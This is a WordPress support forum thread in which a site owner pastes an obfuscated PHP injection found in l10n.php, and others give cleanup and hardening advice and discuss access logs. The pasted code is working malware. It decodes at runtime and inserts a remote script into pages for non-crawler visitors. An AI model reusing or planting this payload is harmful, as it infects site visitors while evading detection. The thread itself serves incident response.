Found some malicious code inside l10n.php

  • cipals15

    (@cipals15)


    15 years, 7 months ago

    I opened the l10n.php and found this encrypted code at the top of the file. It seemed malicious so i deleted this section immediately. Can someone help me decode this one?

    <?php /**/ $_8b7b="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";$_8b7b1f="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$_8b7b1f56=$_8b7b("",$_8b7b1f("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21ybm8nXSkpeyAgICRHTE9CQUxTWydtcm5vJ109MTsgICBpZighZnVuY3Rpb25fZXhpc3RzKCdjcm9wZXJ4JykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2FkZHhpdCcpKXsgICAgIGZ1bmN0aW9uIGFkZHhpdCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5cGJuTnZiVzVwWVdKdmJHUnBibVp2YjNKbkxtTnZiUzlzYkM1d2FIQS9hejB4SWo0OEwzTmpjbWx3ZEQ0PSIpOyAgICAgIH0gICAgICByZXR1cm4gIiI7ICAgICB9ICAgIH0gICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpeyAgICAgZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7ICAgICAgJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywzLDEpKTsgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PTEwOyAgICAgICRSQTNENTJFNTJBNDg5MzZDREUwRjUzNTZCQjA4NjUyRjI9MDsgICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPUB1bnBhY2soJ3YnLHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDEwLDIpKTsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj0kUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCWzFdOyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjE2KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7ICAgICAgfSAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpOyAgICAgIGlmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7ICAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9JFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QzsgICAgICB9ICAgICAgcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7ICAgICB9ICAgIH0gICAgZnVuY3Rpb24gY3JvcGVyeCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsYWRkeGl0KCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuYWRkeGl0KCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ2Nyb3BlcngnKTsgICB9ICB9"));$_8b7b1f56();?>

Viewing 15 replies - 16 through 30 (of 39 total)
1 2 3
  • Samuel B

    (@samboll)

    15 years, 7 months ago

    nice Rev.

    Thread Starter cipals15

    (@cipals15)

    15 years, 7 months ago

    The problem is that the file: class-http.php cannot be deleted, renamed, or overwritten. I have changed the permission but still didn’t do the work. That means even a fresh install wouldn’t do the work.

    The existing class-http.php is a 0 byte file with no content.

    I think the attacker had insanely changed something with the sent HTTP Headers. I’ll check Firefox’s Live Http header for more info and update you for new discoveries.

    Anyway, sorry if i update the issue here. I realized it is better here than my hosting provider’s customer support.

    Thread Starter cipals15

    (@cipals15)

    15 years, 7 months ago

    Thanks for the update REV. That’s the topic i was looking for. You’re a saviour.

    However, i am hesitant to run the solution on my site. There are far more important things out there.

    It might remove some false positive files. :[

    Rev. Voodoo

    (@rvoodoo)

    15 years, 7 months ago

    Thanks!

    also, if you are on godaddy…and you know when the hack occurred, you have the option to restore all your files to a previous date if thats an option…. from the history panel in the file manager

    And, I’ve had files get stuck on godaddy…. I deleted the content to get them to 0b, but couldn’t delete….. they were able to remove the file for me by contacting support

    Thread Starter cipals15

    (@cipals15)

    15 years, 7 months ago

    Hmm.. The hack occured just 10-11 hours ago. Did you call the customer support or just sent them a mail? I am afraid to call them, don’t have extra money for that. LOL!

    I have already contacted my colleague at an anti-virus company. And they are currently working on the issue.

    Have you discovered anything malicious other than what i have discovered?

    Rev. Voodoo

    (@rvoodoo)

    15 years, 7 months ago

    well, to set the files back using history you can do yourself from the files manager

    To delete the empty file, I just went to the help section on godaddy and submitted a request, no phone call

    I haven’t been hit by this hack luckily…. But I had been hacked repeatedly on godaddy a while back similar to yours.

    Thread Starter cipals15

    (@cipals15)

    15 years, 7 months ago

    Thanks for the info. A team at our company is currently working on it. They said it was just some modification of a similar attack. 🙂

    Anyway, thanks. I’ll just to wait for PR from GoDaddy. It seemed that they have been attacked more often recently.

    Rev. Voodoo

    (@rvoodoo)

    15 years, 7 months ago

    Yup, godaddy seems to get hit in waves….. Here’s a bunch of links about WP security. After being hacked several times…. I really did a fair bit of reading and work. So far, I haven’t been hit again since I worked through everything. [fingers crossed]

    http://codex.ww.wp.xz.cn/FAQ_My_site_was_hacked
    http://ocaoimh.ie/did-your-wordpress-site-get-hacked/
    http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
    http://www.snipe.net/2010/01/when-wordpress-gets-hacked/

    My Experiences with being hacked:
    http://www.rvoodoo.com/2010/02/the-dreaded-base64-wordpress-hack-and-other-hacks-too/

    And when you’re done:
    http://codex.ww.wp.xz.cn/Hardening_WordPress

    Thread Starter cipals15

    (@cipals15)

    15 years, 7 months ago

    That’s one great story. LOL! But i realized the previous attack was solved by GoDaddy. Where i just woke up and saw a clean WordPress Install.

    Now, i’m trying my very best to find the culprit and protect my existing wordpress Install.

    I have learned alot because of this attack. I mean alot that i will treasure for the rest of my life.

    To those who are currently solving the problem. please post what you find out in your wordpress powered site. I can’t find any other malicious things except those.

    I’m currently going through on how to use Firefox’s Live HTTP Headers. Maybe it’ll help.

    Rev. Voodoo

    (@rvoodoo)

    15 years, 7 months ago

    The big thing is, once you get this crap all sorted out, change all you passwords…. every one. Your hosting account, your database passwords, ftp passwords, wp login passwords, etc

    and then look through the hardening topic, see what you can glean from that

    Thread Starter cipals15

    (@cipals15)

    15 years, 7 months ago

    UPDATE:

    Its spreading fast. Yes. It had affected all PHP files not only in my WP. Is it a GoDaddy-wide outbreak? or had it affected other webhosting companies?

    Rev. Voodoo

    (@rvoodoo)

    15 years, 7 months ago

    My guess is that you have a backdoor php file in there. I discuss that in my post I linked to. Access logs can help you find the file.

    Once you have one of those in there, it has access to everything. When I got hacked, all my php files got infected. For WP, Drupal, zencart, joomla, even hand coded pages.

    Thread Starter cipals15

    (@cipals15)

    15 years, 7 months ago

    The logs only showed an IP address, a date, and GET as well as URL. Which of these should I look into? What pattern or movements should I watch?

    Its a very long list and i don’t have the luxury of time to go through all of it.

    Hoping to have a good input from you.

    Thanks.

    Rev. Voodoo

    (@rvoodoo)

    15 years, 7 months ago

    if its a backdoor file, usually you look at the timestamp of a file that has had malicious code edited

    Compare that timestamp of the file to your access log. You should see a POST I believe, with a URL to the file that has been edited, and a URL to the backdoor file. You can then inspect and delete the rogue file

    There are other ways your files can be hacked…this is just one way, which I happen to be familiar with

    Thread Starter cipals15

    (@cipals15)

    15 years, 7 months ago

    Here is a chunk of the log file:

    97.74.180.1 – – [02/Nov/2010:23:58:24 -0700] “POST sugod.com/wp-cron.php?doing_wp_cron HTTP/1.0” 200 – “-” “WordPress/3.0.1; http://sugod.com&#8221;

    125.5.38.115 – – [02/Nov/2010:23:58:23 -0700] “GET sugod.com/actor-kirk-abella-mistakenly-shot-dead-in-cebu/ HTTP/1.1” 200 17730 “http://www.google.com.ph/search?client=firefox-a&rls=org.mozilla:en-US:official&channel=s&hl=tl&q=Kirk+Abella&um=1&biw=1280&bih=857&ie=UTF-8&sa=N&tab=iw&#8221; “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 ( .NET CLR 3.5.30729)”

    125.5.38.115 – – [02/Nov/2010:23:58:26 -0700] “GET sugod.com/wp-content/themes/arthemia/style.css HTTP/1.1” 200 10608 “http://sugod.com/actor-kirk-abella-mistakenly-shot-dead-in-cebu/&#8221; “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 ( .NET CLR 3.5.30729)”

    Please explain what do each division do represent.. or any information you know with this log file. Thanks.

Viewing 15 replies - 16 through 30 (of 39 total)
1 2 3

The topic ‘Found some malicious code inside l10n.php’ is closed to new replies.